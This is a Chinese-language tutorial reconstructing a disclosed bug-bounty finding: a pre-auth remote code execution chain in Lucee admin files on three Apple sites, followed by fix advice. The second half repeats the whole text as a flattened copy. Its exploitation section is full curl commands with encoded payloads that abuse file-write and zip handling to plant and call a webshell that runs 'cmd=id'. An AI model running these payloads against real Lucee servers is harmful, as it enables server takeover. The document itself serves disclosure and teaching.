挖洞经验 | 发现Lucee 0day漏洞RCE掉三个苹果公司网站
字数 1588 2025-08-15 21:33:37

Lucee CMS 0day漏洞分析与利用教学文档

1. 漏洞概述

本教学文档详细分析Lucee CMS中发现的0day漏洞,该漏洞允许攻击者在苹果公司三个网站上实现远程代码执行(RCE)。漏洞涉及多个文件的不当配置和逻辑缺陷,最终导致攻击者能够完全控制受影响服务器。

2. 漏洞发现背景

  • 目标系统:苹果公司三个网站(facilities.apple.com, booktravel.apple.com, booktravel-uat.apple.com)
  • 受影响组件:基于Lucee开发的内容管理系统(CMS)
  • 漏洞类型:预授权/未授权远程代码执行(RCE)
  • 漏洞奖励:$50,000

3. 前期侦察

3.1 目标识别

通过WEB应用识别和探测,发现三个苹果网站使用基于Lucee的CMS:

  • https://facilities.apple.com/ (较新版本)
  • https://booktravel.apple.com/ (较旧版本)
  • https://booktravel-uat.apple.com/ (较旧版本)

3.2 WAF分析

苹果网站的WAF配置特点:

  • 拦截几乎所有URL路径遍历和SQL注入尝试
  • 前端服务只返回200或404状态码,即使后端返回其他状态码
  • 对../等路径遍历字符有严格过滤

4. 漏洞分析

4.1 关键漏洞文件

发现三个可利用文件:

  1. imgProcess.cfm (较新版本中存在)
  2. admin.search.index.cfm
  3. ext.applications.upload.cfm

4.2 imgProcess.cfm文件漏洞

漏洞位置

<cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true">

漏洞原理

  • 允许通过file参数控制文件路径
  • 使用expandPath方法创建目录路径
  • 结合form.imgSrc参数可写入任意内容到服务器任意位置

限制

  • WAF会拦截包含../的路径遍历尝试

4.3 admin.search.index.cfm文件漏洞

关键功能

  • 通过dataDir和luceeArchiveZipPath参数实现文件拷贝
  • 可创建任意目录并设置权限777

关键代码

<cfif not directoryExists(dataDir)>
    <cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" />
</cfif>

文件过滤逻辑

<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />

最终写入点

<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />

4.4 ext.applications.upload.cfm文件漏洞

上传功能

  • 允许上传.lex扩展名的文件
  • 不检查文件内容,仅验证扩展名
  • 上传后文件存储在临时目录

关键限制

  • 必须为.lex扩展名
  • 文件内容不受限制

5. 漏洞利用链构建

5.1 针对facilities.apple.com的利用

步骤1:创建恶意CFM文件

curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'

步骤2:触发文件拷贝

curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'

步骤3:写入Webshell

curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell

步骤4:访问Webshell

https://facilities.apple.com/lucee/rootxharsh/PoC.cfm

5.2 针对旧版本网站的利用

步骤1:创建恶意ZIP文件

  • 创建内容为"#stText.x.f#"的文件,命名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
  • 打包为payload.lex

步骤2:上传文件

curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm

步骤3:使用zip协议触发

curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex

步骤4:写入并访问Webshell

curl https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell

访问:

https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id

6. 漏洞修复建议

  1. 限制对CFM文件的直接访问
  2. 加强文件上传验证,不仅检查扩展名还要验证内容
  3. 修复路径遍历漏洞
  4. 加强权限控制,避免未授权访问管理功能
  5. 更新到最新Lucee版本

7. 总结

本漏洞通过组合利用Lucee CMS中的多个安全问题,最终实现了远程代码执行。漏洞利用的关键在于:

  1. 利用imgProcess.cfm或文件上传功能创建恶意文件
  2. 通过admin.search.index.cfm的文件处理逻辑将恶意代码写入可访问位置
  3. 最终实现任意代码执行

此案例展示了即使是大型企业如苹果,也可能因为开源组件的配置不当和逻辑缺陷导致严重安全问题。

Lucee CMS 0day漏洞分析与利用教学文档 1. 漏洞概述 本教学文档详细分析Lucee CMS中发现的0day漏洞,该漏洞允许攻击者在苹果公司三个网站上实现远程代码执行(RCE)。漏洞涉及多个文件的不当配置和逻辑缺陷,最终导致攻击者能够完全控制受影响服务器。 2. 漏洞发现背景 目标系统:苹果公司三个网站(facilities.apple.com, booktravel.apple.com, booktravel-uat.apple.com) 受影响组件:基于Lucee开发的内容管理系统(CMS) 漏洞类型:预授权/未授权远程代码执行(RCE) 漏洞奖励:$50,000 3. 前期侦察 3.1 目标识别 通过WEB应用识别和探测,发现三个苹果网站使用基于Lucee的CMS: https://facilities.apple.com/ (较新版本) https://booktravel.apple.com/ (较旧版本) https://booktravel-uat.apple.com/ (较旧版本) 3.2 WAF分析 苹果网站的WAF配置特点: 拦截几乎所有URL路径遍历和SQL注入尝试 前端服务只返回200或404状态码,即使后端返回其他状态码 对../等路径遍历字符有严格过滤 4. 漏洞分析 4.1 关键漏洞文件 发现三个可利用文件: imgProcess.cfm (较新版本中存在) admin.search.index.cfm ext.applications.upload.cfm 4.2 imgProcess.cfm文件漏洞 漏洞位置 : 漏洞原理 : 允许通过file参数控制文件路径 使用expandPath方法创建目录路径 结合form.imgSrc参数可写入任意内容到服务器任意位置 限制 : WAF会拦截包含../的路径遍历尝试 4.3 admin.search.index.cfm文件漏洞 关键功能 : 通过dataDir和luceeArchiveZipPath参数实现文件拷贝 可创建任意目录并设置权限777 关键代码 : 文件过滤逻辑 : 最终写入点 : 4.4 ext.applications.upload.cfm文件漏洞 上传功能 : 允许上传.lex扩展名的文件 不检查文件内容,仅验证扩展名 上传后文件存储在临时目录 关键限制 : 必须为.lex扩展名 文件内容不受限制 5. 漏洞利用链构建 5.1 针对facilities.apple.com的利用 步骤1 :创建恶意CFM文件 步骤2 :触发文件拷贝 步骤3 :写入Webshell 步骤4 :访问Webshell 5.2 针对旧版本网站的利用 步骤1 :创建恶意ZIP文件 创建内容为"#stText.x.f#"的文件,命名为 server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm 打包为payload.lex 步骤2 :上传文件 步骤3 :使用zip协议触发 步骤4 :写入并访问Webshell 访问: 6. 漏洞修复建议 限制对CFM文件的直接访问 加强文件上传验证,不仅检查扩展名还要验证内容 修复路径遍历漏洞 加强权限控制,避免未授权访问管理功能 更新到最新Lucee版本 7. 总结 本漏洞通过组合利用Lucee CMS中的多个安全问题,最终实现了远程代码执行。漏洞利用的关键在于: 利用imgProcess.cfm或文件上传功能创建恶意文件 通过admin.search.index.cfm的文件处理逻辑将恶意代码写入可访问位置 最终实现任意代码执行 此案例展示了即使是大型企业如苹果,也可能因为开源组件的配置不当和逻辑缺陷导致严重安全问题。